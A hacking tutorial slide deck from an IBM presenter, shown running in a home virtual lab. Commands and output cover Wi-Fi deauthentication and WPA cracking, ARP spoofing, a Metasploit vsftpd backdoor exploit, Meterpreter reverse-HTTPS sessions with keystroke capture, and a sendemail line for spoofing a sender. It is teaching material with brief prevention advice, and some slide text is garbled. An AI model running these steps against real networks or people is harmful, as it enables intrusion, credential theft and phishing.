Ethical Hacking
Hands-on: for the Curious

Jayashree S Kumar, IBM
About Me

• IBM-Java’s Classes Library developer
• Worked Extensively on JDK’s Testing
• IBM’s Invention Development Lead
• Runtimes team @ IBM Software Labs
Agenda


• 4 Main Types:
  > Network Hacking
    - Pre-Connection, Gaining Access, Post-Connection
  > Gaining Access
  > Post Exploitation
  > Website Hacking

• Conclusion
The Top 10 OWASP vulnerabilities in 2020 are:

- Injection
- Broken Authentication
- Sensitive Data Exposure
- XML External Entities (XXE)
- Broken Access control
- Security misconfigurations
- Cross Site Scripting (XSS)
- Insecure Deserialization
- Using Components with known vulnerabilities
- Insufficient logging and monitoring
### Common Vulnerability & Exposures

#### Current CVSS Score Distribution For All Vulnerabilities

<table>
<thead>
<tr>
<th>CVSS Score</th>
<th>Number Of Vulnerabilities</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>0-1</td>
<td>703</td>
<td>0.60</td>
</tr>
<tr>
<td>1-2</td>
<td>914</td>
<td>0.70</td>
</tr>
<tr>
<td>2-3</td>
<td>4880</td>
<td>4.00</td>
</tr>
<tr>
<td>3-4</td>
<td>4556</td>
<td>3.70</td>
</tr>
<tr>
<td>4-5</td>
<td>27455</td>
<td>22.20</td>
</tr>
<tr>
<td>5-6</td>
<td>23785</td>
<td>19.30</td>
</tr>
<tr>
<td>6-7</td>
<td>17054</td>
<td>13.80</td>
</tr>
<tr>
<td>7-8</td>
<td>27369</td>
<td>22.20</td>
</tr>
<tr>
<td>8-9</td>
<td>553</td>
<td>0.40</td>
</tr>
<tr>
<td>9-10</td>
<td>16185</td>
<td>13.10</td>
</tr>
<tr>
<td>Total</td>
<td>123454</td>
<td></td>
</tr>
</tbody>
</table>

Weighted Average CVSS Score: **6.6**
WHAT?
Hacking - Gaining Unauthorised Access

- **Black Hat**
  - X Permission
  - STEAL
  - HARM

- **White Hat**
  - Permission
  - ETHICAL

- **Grey Hat**
  - X Permission
  - X STEAL
  - X HARM
WHY LEARN?
Disclaimer: It was claimed that even he could get tricked...
So CAN You & Me
★ Existing industry
★ Lot of job opportunities
★ Big Companies— Majorly Invested
★ Bug Bounty Programs
★ Forewarned is Pre-armed
HOW TO START?
Lab

Place to experiment and practice hacking and pen testing.

- A Hacking machine
- Other machines to hack
- Websites to hack
- Networks

(All In your Host - VirtualBox )
Virtual Machines think this is an ethernet network, and think this is a router.

Resources eg: internet

VM 1
VM 2
VM 3
NETWORK HACKING
NH: Pre-connection attacks- Passive

iwconfig / airmon-ng: Wireless Adaptor to Monitor Mode
> airmon-ng start wireless_ap

airodump-ng: Packets sniffing tool
Basic
> airodump-ng wireless_apadtor

Targeted
> airodump-ng --bssid {Target_Router_MAC} --channel X --write Test wireless_adp

aireplay-ng: Replay Deauthentication attack
> aireplay-ng --deauth 100000000 -a {Router_Mac} -c {Client_Mac} wireless_adp
1. **ifconfig**: Changing MAC Address

```
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
    inet 10.0.2.4  netmask 255.255.255.0  broadcast 10.0.2.255
    inet6 fe80:a00:27ff:fe5b:b1a6  prefixlen 64  scopeid 0x20<link>
    ether 08:00:27:5b:b1:a6  txqueuelen 1000  (Ethernet)
    RX packets 802  bytes 599133 (585.0 KiB)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 829  bytes 96947 (94.6 KiB)
    TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0
oot@kali:~# ifconfig eth0 down
root@kali:~# ifconfig eth0 hw ether 00:11:22:33:44:55
root@kali:~# ifconfig eth0 up
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
    inet 10.0.2.6  netmask 255.255.255.0  broadcast 10.0.2.255
    inet6 fe80::211:22ff:fe33:4455  prefixlen 64  scopeid 0x20<link>
    ether 00:11:22:33:44:55  txqueuelen 1000  (Ethernet)
    RX packets 843  bytes 602222 (588.1 KiB)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 886  bytes 101036 (98.6 KiB)
    TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0
```

Anonymus, Bypass filters, Impersonate
2. **iwconfig / airmon-ng**: Wireless Adaptor to Monitor Mode

```
root@kali:~# iwconfig
wlx08ea35e028dc  IEEE 802.11  ESSID:off/any
                Mode:Managed  Access Point: Not-Associated  Tx-Power=20 dBm
                Retry short long limit:2  RTS thr:off  Fragment thr:off
                Encryption key:off
                Power Management:off

root@kali:~# airmon-ng start wlx08ea35e028dc

PHY    Interface     Driver           Chipset
phy1    wlx08ea35e028dc  rt2800usb      Ralink Technology, Corp. RT5370
Interface wlx08ea35e028dcmon is too long for linux so it will be renamed to the old style (wlan#) name.

(mac80211 monitor mode vif enabled on [phy1]wlan0mon
(mac80211 station mode vif disabled for [phy1]wlx08ea35e028dc)

root@kali:~# iwconfig
lo  no wireless extensions.
eth0  no wireless extensions.
wlan0mon  IEEE 802.11  Mode:Monitor  Tx-Power=20 dBm
                Retry short long limit:2  RTS thr:off  Fragment thr:off
                Power Management:off
```
3a. **airodump-ng**: Packets sniffing tool (Basic)

```
root@kali:~# airodump-ng wlan0mon
```

<table>
<thead>
<tr>
<th>BSSID</th>
<th>PWR</th>
<th>Beacons</th>
<th>#Data, #/s</th>
<th>CH</th>
<th>MB</th>
<th>ENC</th>
<th>CIPHER</th>
<th>AUTH</th>
<th>ESSID</th>
</tr>
</thead>
<tbody>
<tr>
<td>10:DA:43:9C:2D:F9</td>
<td>-46</td>
<td>2</td>
<td>1</td>
<td>0</td>
<td>8</td>
<td>195</td>
<td>WPA2</td>
<td>CCMP</td>
<td>PSK tesseract-2G</td>
</tr>
<tr>
<td>74:DA:D0:BA:91:86</td>
<td>-71</td>
<td>4</td>
<td>0</td>
<td>0</td>
<td>8</td>
<td>270</td>
<td>WPA2</td>
<td>CCMP</td>
<td>PSK ANALA</td>
</tr>
<tr>
<td>DC:EF:09:18:A3:08</td>
<td>-74</td>
<td>3</td>
<td>2</td>
<td>0</td>
<td>9</td>
<td>130</td>
<td>WPA2</td>
<td>CCMP</td>
<td>PSK Karthikv</td>
</tr>
<tr>
<td>98:DE:D0:44:F2:84</td>
<td>-81</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>270</td>
<td>WPA2</td>
<td>CCMP</td>
<td>PSK</td>
<td>trinity</td>
</tr>
<tr>
<td>30:B5:C2:AD:3D:2E</td>
<td>-84</td>
<td>2</td>
<td>0</td>
<td>0</td>
<td>9</td>
<td>270</td>
<td>WPA2</td>
<td>CCMP</td>
<td>PSK khandelwal</td>
</tr>
<tr>
<td>9C:C6:43:80:5F:80</td>
<td>-83</td>
<td>0</td>
<td>0</td>
<td>13</td>
<td>270</td>
<td>WPA2</td>
<td>CCMP</td>
<td>PSK</td>
<td>Horizon</td>
</tr>
<tr>
<td>88:5D:FB:AE:04:70</td>
<td>-86</td>
<td>3</td>
<td>1</td>
<td>0</td>
<td>9</td>
<td>270</td>
<td>WPA2</td>
<td>CCMP</td>
<td>PSK Mahesh v</td>
</tr>
<tr>
<td>0C:37:47:BD:52:E2</td>
<td>-88</td>
<td>5</td>
<td>0</td>
<td>0</td>
<td>5</td>
<td>270</td>
<td>WPA2</td>
<td>CCMP</td>
<td>PSK Sampath</td>
</tr>
<tr>
<td>34:E3:80:25:57:B8</td>
<td>-89</td>
<td>3</td>
<td>0</td>
<td>0</td>
<td>11</td>
<td>270</td>
<td>WPA2</td>
<td>CCMP</td>
<td>PSK HATHWAY007</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>BSSID</th>
<th>STATION</th>
<th>PWR</th>
<th>Rate</th>
<th>Lost</th>
<th>Frames</th>
<th>Probe</th>
</tr>
</thead>
<tbody>
<tr>
<td>(not associated)</td>
<td>98:FE:94:70:40:CA</td>
<td>-84</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>2 AndroidAP</td>
</tr>
<tr>
<td>88:5D:FB:AE:04:70</td>
<td>D0:22:BE:24:10:D4</td>
<td>-86</td>
<td>0</td>
<td>-1</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>34:E3:80:25:57:B8</td>
<td>94:53:30:1C:56:DB</td>
<td>-1</td>
<td>1e-</td>
<td>0</td>
<td>0</td>
<td>5</td>
</tr>
</tbody>
</table>
3b. **airodump-ng**: Packets sniffing tool (Targetted)

```
root@kali:~# airodump-ng --bssid 10:DA:43:9C:2D:F9 --channel 8 --write test wlan0mon
```

```
CH 8 ][ Elapsed: 36 s ][ 2020-02-17 07:59

<table>
<thead>
<tr>
<th>BSSID</th>
<th>PWR</th>
<th>RXQ</th>
<th>Beacons</th>
<th>#Data, #/s</th>
<th>CH</th>
<th>MB</th>
<th>ENC</th>
<th>CIPHER</th>
<th>AUTH</th>
<th>ESSID</th>
</tr>
</thead>
<tbody>
<tr>
<td>10:DA:43:9C:2D:F9</td>
<td>-46</td>
<td>100</td>
<td>174</td>
<td>76</td>
<td>0</td>
<td>8</td>
<td>195</td>
<td>WPA2</td>
<td>CCMP</td>
<td>tesseract-2G</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>BSSID</th>
<th>STATION</th>
<th>PWR</th>
<th>Rate</th>
<th>Lost</th>
<th>Frames</th>
<th>Probe</th>
</tr>
</thead>
</table>
```
4. aireply-ng : Replay Deauthentication attack
```
root@kali:~ 93x16

CH 8 ][ Elapsed: 18 s ][ 2020-02-17 08:08 ][ WPA handshake: 10:DA:43:9C:2D:F9

<table>
<thead>
<tr>
<th>BSSID</th>
<th>PWR</th>
<th>RXQ</th>
<th>Beacons</th>
<th>#Data, #/s</th>
<th>CH</th>
<th>MB</th>
<th>ENC</th>
<th>CIPHER</th>
<th>AUTH</th>
<th>ESSID</th>
</tr>
</thead>
<tbody>
<tr>
<td>10:DA:43:9C:2D:F9</td>
<td>-44</td>
<td>0</td>
<td>97</td>
<td>59</td>
<td>9</td>
<td>8</td>
<td>195</td>
<td>WPA2</td>
<td>CCMP</td>
<td>PSK</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>BSSID</th>
<th>STATION</th>
<th>PWR</th>
<th>Rate</th>
<th>Lost</th>
<th>Frames</th>
<th>Probe</th>
</tr>
</thead>
<tbody>
<tr>
<td>10:DA:43:9C:2D:F9</td>
<td>3C:F0:11:9B:DB:7E</td>
<td>-78</td>
<td>0 - 6e</td>
<td>0</td>
<td>96</td>
<td></td>
</tr>
</tbody>
</table>

root@kali:~ 93x16

root@kali:-- aireplay-ng --deauth 4 -a 10:DA:43:9C:2D:F9 -c F4:5C:89:BF:6E:0B wlan0mon
08:08:48 Waiting for beacon frame (BSSID: 10:DA:43:9C:2D:F9) on channel 8
08:08:49 Sending 64 directed DeAuth (code 7). STMAC: [F4:5C:89:BF:6E:0B] [ 2|61 ACKs]
08:08:50 Sending 64 directed DeAuth (code 7). STMAC: [F4:5C:89:BF:6E:0B] [30|51 ACKs]
08:08:51 Sending 64 directed DeAuth (code 7). STMAC: [F4:5C:89:BF:6E:0B] [58|54 ACKs]
08:08:51 Sending 64 directed DeAuth (code 7). STMAC: [F4:5C:89:BF:6E:0B] [25|24 ACKs]
root@kali:~#
```
**NH: Gaining access**

**aircrack-ng** : Analyse the captured packets to get password

1. WEP Cracking
   > aircrack-ng basic_wep.cap

2. WPA / WPA2 cracking
   **crunch**: Creating wordlist
   > crunch [min][max][characters] -t[pattern] -o wordlist.txt

   > aircrack-ng handshake_wpa.cap -w wordlist.txt
root@kali:~# aircrack-ng wpa_handshake-02.cap -w words.txt
Opening wpa_handshake-02.cap...
Read 9256 packets.

<table>
<thead>
<tr>
<th>#</th>
<th>BSSID</th>
<th>ESSID</th>
<th>Encryption</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>10:DA:43:9C:2D:F9</td>
<td>tesseract-2G</td>
<td>WPA (1 handshake, with PMKID)</td>
</tr>
</tbody>
</table>

Choosing first network as target.

Opening wpa_handshake-02.cap...
Read 9256 packets.

1 potential targets

Aircrack-ng 1.5.2

[00:00:00] 2/1 keys tested (319.74 k/s)

Time left: 0 seconds

Current passphrase: 8023350621

Transient Key : C8 3D A4 4A F0 86 AA 45 FF 36 C9 A0 D1 BB F3 BC
KEY FOUND! [ 8023350621 ]

EAPOL HMAC : 35 D0 59 C0 F8 67 76 F7 F8 40 75 6D E6 C3 84 F2
ARP Request

Who has 10.0.2.7?

Router
IP: 10.0.2.1
MAC: 00:11:11:11:11:11

A
IP: 10.0.2.6

B
IP: 10.0.2.6

C
IP: 10.0.2.7

D
IP: 10.0.2.15
MAC: 00:11:11:11:11:11
ARP RESPONSE

I have 10.0.2.7
My Mac: 00:22:11:33:44:55

Router
IP: 10.0.2.1
MAC: 00:11:11:11:11:11

IP: 10.0.2.6
MAC: 00:11:22:33:44:55

IP: 10.0.2.7
MAC: 00:22:11:33:44:55

IP: 10.0.2.15
MAC: 00:22:11:33:44:55
Information Gathering: Systems

Very crucial, Gives lots details about target machine:
- Operating System
- Softwares and Services installed
- Ports associated.

TOOLs: NetDiscover, ZenMap, net.show, Shodan.com
**nrpspoof**: Basic ARP spoofing tool

```
> arpspoof -i [interface] -t [clientIP] [gatewayIP]
> arpspoof -i [interface] -t [gatewayIP][clientIP]
```

**bettercap**

```
> buttercup -iface interface
```
1. **arpspoof**: Basic ARP spoofing tool

```
root@kali:~ # ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.2.4 netmask 255.255.255.0 broadcast 10.0.2.255
    inet6 fe80::a00:27ff:fe5b:b1a6 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:5b:b1:a6 txqueuelen 1000 (Ethernet)
    RX packets 612 bytes 179757 (175.5 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 2459 bytes 151132 (147.5 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
root@kali:~ # arp -a
? (10.0.2.3) at 08:00:27:38:c1:3b [ether] on eth0
 _gateway (10.0.2.1) at 52:54:00:12:35:00 [ether] on eth0
```

```
root@kali:~ # arpspoof -i eth0 -t 10.0.2.15 10.0.2.1
8:0:27:5b:b1:a6 8:0:27:e6:e5:59 0806 42: arp reply 10.0.2.1 is-at 8:0:27:5b:b1:a6
```

```
root@kali:~ # arpspoof -i eth0 -t 10.0.2.1 10.0.2.15
8:0:27:5b:b1:a6 52:54:0:12:35:0 0806 42: arp reply 10.0.2.15 is-at 8:0:27:5b:b1:a6
8:0:27:5b:b1:a6 52:54:0:12:35:0 0806 42: arp reply 10.0.2.15 is-at 8:0:27:5b:b1:a6
```
1. **arpspoof**: Basic ARP spoofing tool

```bash
root@kali:~ # echo 1 > /proc/sys/net/ipv4/ip_forward
```
2. **bettercap**: MITM attack tool
Detection n Prevention

1. Do not use WEP encryption,
2. Use WPA2 with a complex password
3. Configuring wireless setting for maximum security

1. Detect ARP Poisoning - Using xARP tool
2. Detect Suspicious activities in Network - Using Wireshark
3. Prevent MITM Attacks by
   - Encrypting the traffic — HTTPS everywhere plugging
     1. Use **HTTPs** instead of HTTP ← Can be bypassed - by downgrading
     2. Use **HSTS** - Http Strict Transport Security ← Can be Manipulated
4. Simply use VPN
GAINING ACCESS
GA: Server side

Doesn’t Requires User Intervention; Need the correct IP address

- Use Default Password to gain access
- Use Mis-configured services. r service mostly to login
  ```
  > rlogin -l root {target_ip}
  ```
- Use services which have backdoor
- Use code execution vulnerabilities

**TOOLs:** Metasploit — Readymade code to run Vulnerabilities (gets published)
<table>
<thead>
<tr>
<th>PORT</th>
<th>STATE SERVICE</th>
<th>VERSION</th>
</tr>
</thead>
<tbody>
<tr>
<td>21/tcp</td>
<td>open</td>
<td>vsftpd 2.3.4</td>
</tr>
<tr>
<td>22/tcp</td>
<td>open</td>
<td>OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)</td>
</tr>
<tr>
<td>23/tcp</td>
<td>open</td>
<td>Linux telnetd</td>
</tr>
<tr>
<td>25/tcp</td>
<td>open</td>
<td>Postfix smtpd</td>
</tr>
<tr>
<td>53/tcp</td>
<td>open</td>
<td>ISC BIND 9.4.2</td>
</tr>
<tr>
<td>80/tcp</td>
<td>open</td>
<td>Apache httpd 2.2.8 ((Ubuntu) DAV/2)</td>
</tr>
<tr>
<td>111/tcp</td>
<td>open</td>
<td></td>
</tr>
<tr>
<td>139/tcp</td>
<td>open</td>
<td>Samba smbd 3.X - 4.X (workgroup: WORKGROUP)</td>
</tr>
<tr>
<td>445/tcp</td>
<td>open</td>
<td>Samba smbd 3.X - 4.X (workgroup: WORKGROUP)</td>
</tr>
<tr>
<td>513/tcp</td>
<td>open</td>
<td></td>
</tr>
<tr>
<td>514/tcp</td>
<td>open</td>
<td></td>
</tr>
<tr>
<td>2049/tcp</td>
<td>open</td>
<td></td>
</tr>
<tr>
<td>2121/tcp</td>
<td>open</td>
<td>ProFTPD 1.3.1</td>
</tr>
<tr>
<td>3306/tcp</td>
<td>open</td>
<td>MySQL 5.0.51a-3ubuntu5</td>
</tr>
<tr>
<td>5432/tcp</td>
<td>open</td>
<td>PostgreSQL DB 8.3.0 - 8.3.7</td>
</tr>
<tr>
<td>5900/tcp</td>
<td>open</td>
<td>VNC (protocol 3.3)</td>
</tr>
<tr>
<td>6000/tcp</td>
<td>open</td>
<td>(access denied)</td>
</tr>
<tr>
<td>8009/tcp</td>
<td>open</td>
<td>Apache Jserv (Protocol v1.3)</td>
</tr>
</tbody>
</table>
Module Options

To display the available options, load the module with 'use exploit/unix/ftp/vsftpd_234_backdoor' or 'show advanced':

1. msf > use exploit/unix/ftp/vsftpd_234_backdoor
2. msf exploit(vsftpd_234_backdoor) > show options
3. ...targets...
4. msf exploit(vsftpd_234_backdoor) > set RHOSTS
5. msf exploit(vsftpd_234_backdoor) > show and set options...
6. msf exploit(vsftpd_234_backdoor) > exploit

root@kali:~# msfconsole

metasploit v5.0.73-dev
+--:[ 1965 exploits - 1095 auxiliary - 337 post
+--:[ 562 payloads - 45 encoders - 10 nops
+--:[ 7 evasion

metasploit > use exploit/unix/ftp/vsftpd_234_backdoor
msf > exploit(unix/ftp/vsftpd_234_backdoor) >
GA: Client side

Requires User Intervention - Clicking on link, Downloading a file; Doesn’t Requires IP

**TOOLs:** Veil Framework — Create Backdoors

Github:
Veil-Evasion
Veil-Odesion

Each having their own Payloads, written by Meterpreter developers
Has lots Payloads. Use: rev_https
GA: Social Engineering

Information Gathering: Users
Very crucial, To build strategy accordingly.

TOOLs: Maltego
Fake EMAIL

### TOOLS: `sendemail`

**SMTP Servers - SendGrid, Sendinblue**

```bash
sendemail -s smtp.sendgrid.net:25
   -xu apikey
   -xp xxxx
   -f "p@gmail.com"
   -t "jsk@gmail.com"
   -u "IBM Community Day"
   -m "Did you register for Cloud Dev Yet?"
   -o message-header="From : IBM Cloud <p@gmail.com>"
```
root@kali:~

4704  544  SearchIndexer.exe  
4800  724  RuntimeBroker.exe  
    r.exe  
    4916  724  smartscreen.exe  
    exe  
   5000  2548  SecurityHealthSystray.exe  
    thSysstray.exe  
   5048  544  SecurityHealthService.exe  
   5104  3032  GoogleCrashHandler.exe  
   5112  3032  GoogleCrashHandler64.exe  
   5156  4052  chrome.exe  
rome\Application\chrome.exe  
   5204  4052  chrome.exe  
rome\Application\chrome.exe  
   5444  544  svhost.exe  
   5640  4052  chrome.exe  
rome\Application\chrome.exe  
   5652  4704  SearchProtocolHost.exe  
   5704  544  svchost.exe  
   5872  4704  SearchFilterHost.exe  
   6040  544  svchost.exe  
   6288  724  MicrosoftEdgeCP.exe  
ecer.exe  
   6436  2548  rev_https_8080.exe  
    tps_8080.exe  
   6524  544  svchost.exe  
   6656  724  MicrosoftEdge.exe  
MicrosoftEdge_Bwekyb3d8bbwe\MicrosoftEdge.exe  
   6928  5704  Windows.WARP.JITService.exe  
   7264  724  browser_broker.exe  
ecer.exe  
   7632  724  dllhost.exe  
   7804  724  Microsoft.Photos.exe  
Microsoft.Windows.Photos_2020.19081.28230.0_x64__Bwekyb3d8bbwe\Microsoft.Photos.exe  
   7896  724  RuntimeBroker.exe  
ecer.exe  
   7976  724  SystemSettingsBroker.exe  
    gsBroker.exe  

meterpreter >

POST EXPLOITATION
[*] Started HTTPS reverse handler on https://10.0.2.4:8080
[*] https://10.0.2.4:8080 handling request from 10.0.2.15; (UUID: xbxvdwpr) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 2 opened (10.0.2.4:8080 -> 10.0.2.15:50041) at 2020-02-19 18:05:20 -0500

meterpreter > sysinfo
Computer : MSEDGEWIN10
OS       : Windows 10 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain      : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
root@kali:~ 80x34

Payload options (windows/meterpreter/reverse_https):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>EXITFUNC</td>
<td>process</td>
<td>yes</td>
<td>Exit technique</td>
</tr>
<tr>
<td>LHOST</td>
<td>10.0.2.4</td>
<td>yes</td>
<td>The local listener's IP address</td>
</tr>
<tr>
<td>LPORT</td>
<td>8080</td>
<td>yes</td>
<td>The local listener's port number</td>
</tr>
<tr>
<td>LURI</td>
<td>no</td>
<td></td>
<td>The HTTP Path for the listener</td>
</tr>
</tbody>
</table>

Exploit target:

<table>
<thead>
<tr>
<th>Id</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Wildcard Target</td>
</tr>
</tbody>
</table>

msf5 exploit(multi/handler) > exploit

[*] Started HTTPS reverse handler on https://10.0.2.4:8080
[*] https://10.0.2.4:8080 handling request from 10.0.2.4
[*] Meterpreter session 1 opened (10.0.2.4:8080 -> 10.0.2.4:45550)
0 18:20:31 -0500

meterpreter > keysnap_start
Starting the keystroke sniffer ...
meterpreter >
msf5 exploit(multi/handler) > exploit

[*] Started HTTPS reverse handler on https://10.0.2.4:8080
[*] https://10.0.2.4:8080 handling request from 10.0.2.15; (UUID: 5skelmsd) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 1 opened (10.0.2.4:8080 -> 10.0.2.15:50135) at 2020-02-19 18:20:31 -0500

meterpreter > keysan_start
Starting the keystroke sniffer ...
meterpreter > keysan_dump
Dumping captured keystrokes...
twitter.com<CR>
sk.jshree<Shift>@gmail.com<Tab>123456

meterpreter > webcam
webcam_chat  webcam_list  webcam_snap  webcam_stream
meterpreter > webcam_stream
[-] Target does not have a webcam
meterpreter > 

Blackmail /Ransomeware, Steal Information, Money & Privacy INCLUDED
Prevention

Do NOT download outside trusted place
Use trusted Network
Don’t be MITMed
Check type of file downloaded
Use WinMD5 to check hash of the files
Conclusion

#BeCyberSmart
Thank U!
Internet

Surface Web (Indexed)

Deep Web
(Not Indexed)

Dark Web